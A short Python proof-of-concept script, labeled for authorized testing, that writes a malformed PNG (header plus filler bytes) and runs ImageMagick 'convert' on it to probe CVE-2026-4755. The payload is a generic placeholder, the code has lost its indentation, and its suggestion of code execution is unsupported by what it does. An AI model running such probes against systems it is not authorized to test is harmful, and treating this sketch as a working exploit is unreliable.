The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-4755
# This script demonstrates how a malformed image might trigger the vulnerability.
# Note: This is a conceptual example based on CWE-20.
import subprocess
# Create a malformed image file (simulated)
# In a real scenario, this would contain specific bytes to bypass validation
malicious_file = "exploit.png"
with open(malicious_file, "wb") as f:
# Header bytes + payload to trigger validation error
# Example: Oversized chunk or malformed header
f.write(b'\x89PNG\r\n\x1a\n' + b'A' * 10000)
# Command to convert the image using the vulnerable library
# If the library is vulnerable (before 7.1.2-11), this may crash or execute code
try:
result = subprocess.check_output(
['convert', malicious_file, 'output.jpg'],
stderr=subprocess.STDOUT,
timeout=5
)
print("Conversion successful (Vulnerability might not be triggered)")
except subprocess.CalledProcessError as e:
print(f"Crash detected! Vulnerability likely triggered: {e.output}")
except Exception as e:
print(f"An error occurred: {str(e)}")